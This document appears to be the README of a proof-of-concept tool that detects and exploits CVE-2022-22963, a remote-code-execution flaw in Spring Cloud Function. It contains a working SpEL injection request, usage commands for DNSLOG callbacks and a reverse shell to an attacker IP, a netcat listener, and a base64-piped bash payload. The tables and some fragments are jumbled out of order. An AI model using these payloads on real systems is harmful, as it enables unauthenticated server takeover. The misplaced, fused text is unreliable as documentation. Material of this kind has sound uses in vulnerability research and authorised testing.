
CVE-2022-22963-poc
Outil de détection et d'exploitation de la vulnérabilité d'injection d'expression SpEL dans Spring Cloud Function permettant l'exécution de code à distance.
CVE-2022-22963 est une vulnérabilité RCE à haut risque (CVSS 9.8) dans la fonction de routage de Spring Cloud Function. Lorsque l'application active le point de terminaison /functionRouter, la valeur de l'en-tête de requête spring.cloud.function.routing-expression est directement exécutée comme une expression SpEL (Spring Expression Language). Un attaquant peut ainsi exécuter des commandes système arbitraires sur le serveur cible sans authentification.
Versions affectées :
| Branche | Versions affectées | Version corrigée |
|---|---|---|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
Principe de la vulnérabilité :
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
Après exécution du SpEL par le serveur, exec() renvoie un objet Process ; Spring tente de le sérialiser, ce qui déclenche une exception et une réponse HTTP 500. La commande s'exécute de manière asynchrone en arrière-plan, le résultat n'apparaît pas dans la réponse HTTP. Il faut donc confirmer l'exécution par un canal indirect tel que DNSLOG ou un shell inversé.
ping vers un domaine DNSLOG et confirme l'exécution de la commande via les enregistrements DNSpip install requests
Python 3.6+, aucune autre dépendance.
python3 CVE-2022-22963.py -u <URL_cible> [options]
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞!
Permet de confirmer l'exécution réelle de la commande en l'absence de sortie visible :
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行)
Vérifiez ensuite sur la plateforme DNSLOG si une requête DNS provenant de l'IP cible a été reçue.
Ouvrez un écouteur sur la machine de l'attaquant :
nc -lvnp 9999
Envoyez le payload :
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标)
Remarque : le shell inversé dépend de la prise en charge de
/dev/tcpsur le système cible. Il ne fonctionne qu'avec un environnement Linux + bash et ne prend pas en charge les cibles Windows ni les shells tels que sh/ash/dash.
La requête de détection envoie une véritable expression SpEL à /functionRouter :
T(java.lang.Runtime).getRuntime().exec('id')
Process ne peut pas être sérialisé → HTTP 500 + "path":"/functionRouter"Runtime.exec(String) ne passe pas par l'interpréteur de shell ; il découpe la chaîne de commande selon les espaces et ne peut pas gérer les tubes ni les redirections. L'outil contourne cette limitation de la manière suivante :
{cmd,arg} est utilisée à la place des espaces-c du bash cible est finalement utilisé pour traiter les tubes et les redirectionsbash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec découpe selon les espaces
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c applique l'expansion d'accolades aux arguments
echo BASE64 | base64 -d | bash -i
| Date | Version | Description |
|---|---|---|
| 2023-12-28 | v1.0 | Publication de la version initiale |
| 2025-10-09 | v1.1 | Refactorisation du code, optimisation de la gestion des paramètres et des erreurs |
Cet outil est destiné uniquement à la recherche en sécurité, aux tests d'intrusion autorisés et à des fins pédagogiques.
En utilisant cet outil, vous acceptez :
L'auteur décline toute responsabilité en cas d'utilisation non autorisée et de ses conséquences.
| Paramètre | Description | Valeur par défaut |
|---|
-u, --url | URL cible (obligatoire) | — |
-c, --check | Vérifier si la vulnérabilité existe | — |
-m, --mode | Mode d'exploitation : dnslog ou shell | — |
-d, --dns | Domaine DNSLOG (utilisé avec -m dnslog) | — |
-i, --ip | IP de réception du shell inversé (utilisé avec -m shell) | — |
-p, --port | Port de réception du shell inversé | 9999 |
-t, --timeout | Délai d'expiration des requêtes (secondes) | 5 |
| 2026-06-29 | v1.2 | Correction des faux positifs de détection, de la concaténation du chemin de contexte et de la sémantique de la valeur de retour de l'exploit |